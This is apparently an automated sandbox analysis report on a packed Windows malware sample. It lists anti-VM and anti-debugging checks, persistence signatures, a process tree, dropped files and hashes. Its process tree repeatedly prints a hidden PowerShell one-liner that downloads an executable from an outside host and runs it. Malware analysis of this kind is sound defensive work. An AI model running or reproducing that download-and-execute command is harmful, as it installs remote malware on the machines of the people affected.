Analysis

  • max time kernel
    900s
  • max time network
    470s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    16/09/2026, 15:22

General

  • Target
    smd pussy fk by xtrex.exe
  • Size 54.8MB
  • Sample260916-srvxessckb
  • SHA256 e8a79be184da02e63e22ff543e5c72f56eec0ba0c693b8a963c42ccb56eec2c8
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Themida packer 7 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 52 IoCs
  • Suspicious use of FindShellTrayWindow 53 IoCs
  • Suspicious use of SendNotifyMessage 39 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\smd pussy fk by xtrex.exe
    "C:\Users\Admin\AppData\Local\Temp\smd pussy fk by xtrex.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4804
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=zjEjEHt1j823gmOXR2DSW01.txt' -OutFile $env:TEMP\BK563855.exe; Start-Process -FilePath $env:TEMP\BK563855.exe -WindowStyle Hidden }"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4412
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=zjEjEHt1j823gmOXR2DSW01.txt' -OutFile $env:TEMP\BK563855.exe; Start-Process -FilePath $env:TEMP\BK563855.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1520
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=zjEjEHt1j823gmOXR2DSW01.txt' -OutFile $env:TEMP\BK563855.exe; Start-Process -FilePath $env:TEMP\BK563855.exe -WindowStyle Hidden }"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2304
    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\e3b2561c02fc16e9\sckmd_loader.exe
      "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\e3b2561c02fc16e9\sckmd_loader.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Checks whether UAC is enabled
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:772
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=zjEjEHt1j823gmOXR2DSW01.txt' -OutFile $env:TEMP\BK563855.exe; Start-Process -FilePath $env:TEMP\BK563855.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4860
        • C:\Windows\system32\cmd.exe
          cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=zjEjEHt1j823gmOXR2DSW01.txt' -OutFile $env:TEMP\BK563855.exe; Start-Process -FilePath $env:TEMP\BK563855.exe -WindowStyle Hidden }"
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4592
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=zjEjEHt1j823gmOXR2DSW01.txt' -OutFile $env:TEMP\BK563855.exe; Start-Process -FilePath $env:TEMP\BK563855.exe -WindowStyle Hidden }"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2392
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:824
    • C:\Windows\system32\sihost.exe
      sihost.exe
      1⤵
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:2224
      • C:\Windows\explorer.exe
        explorer.exe /LOADSAVEDWINDOWS
        2⤵
        • Boot or Logon Autostart Execution: Active Setup
        • Enumerates connected drives
        • Checks SCSI registry key(s)
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of SetWindowsHookEx
        PID:5464
    • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
      "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:5380
    • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
      "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:1904
    • C:\Windows\System32\SecurityHealthHost.exe
      \\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
      1⤵
        PID:2412

      Network

            MITRE ATT&CK Enterprise v16

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            Downloads

            dwmapi.dll

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\e3b2561c02fc16e9\dwmapi.dll
            • Size 8.9MB
            • SHA256 3f92f935769dcce937f66754822abe257437457476361e466a3f307869d7fd3a
            • MD5 SHA1 SHA512 SSDEEP TLSH

            sckmd_loader.exe

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\e3b2561c02fc16e9\sckmd_loader.exe
            • Size 45.6MB
            • SHA256 a62b8df70b845a4bc241f25ab606a102e6c07c3202c830c79c1d078e4e744e6b
            • MD5 SHA1 SHA512 SSDEEP TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 41c59a73d29fe9a72437c323e3c89bda71c6987848a20016af52c6e2a57b4ba8
            • MD5 SHA1 SHA512 TLSH

            prep_Activatable Class_Hermes_perf.cache

            • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
            • Size 599B
            • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
            • MD5 SHA1 SHA512 TLSH

            memory/772-41-0x00007FFA1C110000-0x00007FFA1C112000-memory.dmp

            memory/772-47-0x0000000180000000-0x0000000181841000-memory.dmp

            memory/772-42-0x0000000140000000-0x0000000144C88000-memory.dmp

            memory/772-40-0x0000000180000000-0x0000000181841000-memory.dmp

            memory/772-37-0x0000000180000000-0x0000000181841000-memory.dmp

            memory/772-30-0x0000000180000000-0x0000000181841000-memory.dmp

            memory/772-32-0x0000000180000000-0x0000000181841000-memory.dmp

            memory/772-31-0x0000000180000000-0x0000000181841000-memory.dmp

            memory/2304-10-0x00007FF9F94C0000-0x00007FF9F9E64000-memory.dmp

            memory/2304-17-0x00007FF9F94C0000-0x00007FF9F9E64000-memory.dmp

            memory/2304-21-0x00007FF9F94C0000-0x00007FF9F9E64000-memory.dmp

            memory/2304-14-0x00000229235B0000-0x00000229235D2000-memory.dmp

            memory/2304-11-0x00007FF9F94C0000-0x00007FF9F9E64000-memory.dmp

            memory/2304-22-0x00007FF9F94C0000-0x00007FF9F9E64000-memory.dmp

            memory/2304-20-0x00007FF9F94C0000-0x00007FF9F9E64000-memory.dmp

            memory/2304-19-0x00007FF9F94C0000-0x00007FF9F9E64000-memory.dmp

            memory/2304-36-0x00007FF9F94C0000-0x00007FF9F9E64000-memory.dmp

            memory/2304-1-0x00007FF9F964F000-0x00007FF9F9650000-memory.dmp

            memory/2304-24-0x00007FF9F94C0000-0x00007FF9F9E64000-memory.dmp

            memory/2304-23-0x00007FF9F94C0000-0x00007FF9F9E64000-memory.dmp

            memory/2304-18-0x00007FF9F94C0000-0x00007FF9F9E64000-memory.dmp

            memory/2304-16-0x00007FF9F94C0000-0x00007FF9F9E64000-memory.dmp

            memory/2304-15-0x00007FF9F94C0000-0x00007FF9F9E64000-memory.dmp

            memory/2304-9-0x00007FF9F94C0000-0x00007FF9F9E64000-memory.dmp

            memory/5380-72-0x0000016A001E0000-0x0000016A002E0000-memory.dmp

            memory/5380-117-0x0000016A04200000-0x0000016A04220000-memory.dmp

            memory/5380-83-0x0000016A02A20000-0x0000016A02A40000-memory.dmp

            memory/5380-85-0x0000016A02E60000-0x0000016A02F60000-memory.dmp

            memory/5380-96-0x0000016A02C80000-0x0000016A02CA0000-memory.dmp

            memory/5464-237-0x000000000E570000-0x000000000E57D000-memory.dmp